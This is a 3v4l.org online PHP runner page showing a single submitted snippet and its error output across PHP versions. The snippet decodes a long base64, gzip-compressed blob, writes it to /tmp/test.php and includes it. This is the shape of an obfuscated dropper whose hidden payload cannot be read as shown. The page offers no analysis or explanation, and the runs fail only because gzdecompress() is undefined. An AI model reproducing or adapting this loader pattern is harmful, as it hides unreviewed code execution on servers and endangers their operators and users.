3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php if(version_compare(PHP_VERSION,'5.3.0','<')) exit; file_put_contents('/tmp/test.php', gzdecompress(base64_decode('eNrtWGtv2zYU/b5fwQBEKKGyq3ht2lkQOjd11wJNGtTGgLUuBEaibCUSKZNU3cTTf9/Vw/IzRpZ9GLrZsC2LOjw899xL0dRxrJ1X6ST9idOEqZT6DH1mPBgNdBBHV06mGHpDNRtGCfssOHP8mCrVNCH2XQNajRYN8zS7iiMfhRn3dSQ48jxfcKVl5msD+y7hYkasVUaEA5dncWzOo9D4xqSCXtAnSalkxuW7S+/3/qfB+48XFnne/rn9gljkeKwdl5jmXDKdSY4KJNfd7vpQFg5MJwfOI2iK4FO0EVCviXlMk9Qpv9YuhpEsrpZKoPdD+Fms2H4cgPKabxegMmTJdS8GADhsFbErpgvzlIYADIBooeG0lFQBxqsA0zSdWiAOnXwzP4kIovDWwON/7v+SasP38T7fxyu+7yHEE3cl1PE9oTqF0xPXdUMKZjaE5dlu//BkzZ68qu/ye1GlQ4DOUyk08zULEI7KenU2nQTaDDTMtyzWjMpAzLhRFVYlQjLwWg/vzHkAw3gBC2kWa68I7w5mhQdsW1Bno6HSkedLbati3lSUwzsDX5cjH20Nvcm3Wwp4bEAG9ui8Np0dUSv9Ohufdl7+ckp5cNp5fnpiNEOu6SO/nQ+hvvG1y9ls7XZjkH4mRcqevmYyjngBulkDGeRX0l4WBunYJ52W/bLV6SDb7pZvdNYfAH3jHmQWou1PMyiKlQ4nqNOpO4CcJza8kCHCEJQi24QpelP2DoVMKEzJP1pJK0DvulFXIWBvkwZM2jUUfPtYNhlm+3iaCe2Y1cEitY1I36FIoV6iNJMBTSxUmIxCKRKkFyVqIS7Qwm8L0RCw6IkN0FtVGlIOVs8VsnLhPxru4/N/szr9C/qycvf7tMHThP2iY//LNs0iPWmMenwh/CABPqAS7s299cOlmaJifeTjv5Pl/58dO2pi1+rSUxF9OmAiiw+LzGGROSwyh0XmsMgcFpnHLzK79ltrIeLYwomF+fK5Bo6PXJyYcz2RYobAwlH/u8/SoqthYP4K81rwiFfHbnWoo1hcrA44rn+gIxct2pLROkHx2CHHokjX6BMLY1bqPCv2tYbnXfTO+4PL3lnf89pktLXbhSDBdkb9iYHFwtpzpiciUIZJFcJpGZbKrso9fLrADCZC6gsKlWFatvXMPHJdoktCX3Ad8Yw5Wt7O8bQso61xYZuJp4v7Z7GZdmrqiH8TN3AnnTaA5abayX2qQenSUoSlOWf+RCDytvf+Q7eokF0SHaxcLJvnCJL6RWPVEf2J4L8AK7qqL/bXL6Q4I1830lSBlxznTCk6Zk39Nbgq6ocpzxuv8krLZW8wuDeIzZHyvwDNSVvD'))); include '/tmp/test.php';
Output for 7.0.0 - 7.1.0
Fatal error: Uncaught Error: Call to undefined function gzdecompress() in /in/4CpKY:3 Stack trace: #0 {main} thrown in /in/4CpKY on line 3
Process exited with code 255.
Output for hhvm-3.12.0
Fatal error: Uncaught Error: Call to undefined function gzdecompress() in /in/4CpKY:3 Stack trace: #0 {main}
Process exited with code 255.
Output for 5.3.0 - 5.6.28, hhvm-3.10.0
Fatal error: Call to undefined function gzdecompress() in /in/4CpKY on line 3
Process exited with code 255.
Output for 4.3.0 - 5.2.17